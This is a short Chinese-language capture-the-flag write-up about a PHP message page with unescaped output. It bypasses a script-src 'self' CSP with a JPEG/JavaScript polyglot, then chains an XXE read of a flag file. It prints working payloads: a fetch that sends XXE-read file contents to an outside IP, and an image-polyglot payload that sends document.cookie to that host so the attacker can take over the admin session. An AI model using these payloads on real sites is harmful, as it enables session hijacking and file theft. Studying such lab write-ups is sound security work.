果然是xss
<!-- dist/web/pages/view_message.php -->
<!-- (snip) --> <section id="message" class="py-5"> <div class="container mt-5"> <?php if (isset($message)): ?> <h1><?php echo htmlentities($message['title']);?></h1> <p><?php echo $message['content']; ?><!-- this --> <?php if($message['file'] !== "") : ?> <div> <img name="image" src="<?php echo $message['file']?>"> </div> <?php endif;?> <?php endif; ?></p> </div> </section> <!-- (snip) -->
|
没有转义Content
但是有CSP检测
<?php header("Content-Security-policy: script-src 'self'"); ?>
|
这里有一个可以绕过CSP的
git clone https://github.com/4n86rakam1/xss_injection_in_jpeg.git cd xss_injection_in_jpeg python3 exploit.py --payload 'alert(document.domain)' --imagesize 200x200 --output xss.js
|
思路就很明确了,利用这个方式执行js脚本,把数据带出到服务器
fetch("/admin/map.php", { method: "POST", headers: { "Content-Type": "application/x-www-form-urlencoded" }, body: new URLSearchParams({ data: '<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///flag.txt"> ]><markers><marker><lat>47.0748663672</lat><lon>12.695247219</lon><name>&xxe;</name></marker></markers>', }), }) .then((resp) => resp.text()) .then((text) => { new Image().src = "https://165.154.5.221:9999/?data=" + btoa(text); });
|
nvim payload.js python3 xss_injection_in_jpeg/exploit.py --payload-file payload.js --imagesize 10x10 --output xss.jpg
|
写入并生成图片
下面这个更清楚一点
./img_polygloter.py jpg --height 123 --width 321 --payload "document.location='http://165.154.5.221:9999?cc='+document.cookie" --output a.png
神,然后监听得到Cookie修改得到admin身份,然后访问admin/map.php
一个xxe注入拿到flag
第一次发是上传图片,第二次是<script charset="ISO-8859-1" src="/uploads/link-your-img"></script>
检索那个图片
但是burp发包的话即使是重定向,他也会有数据显示emmmm,这个代码实现太操蛋了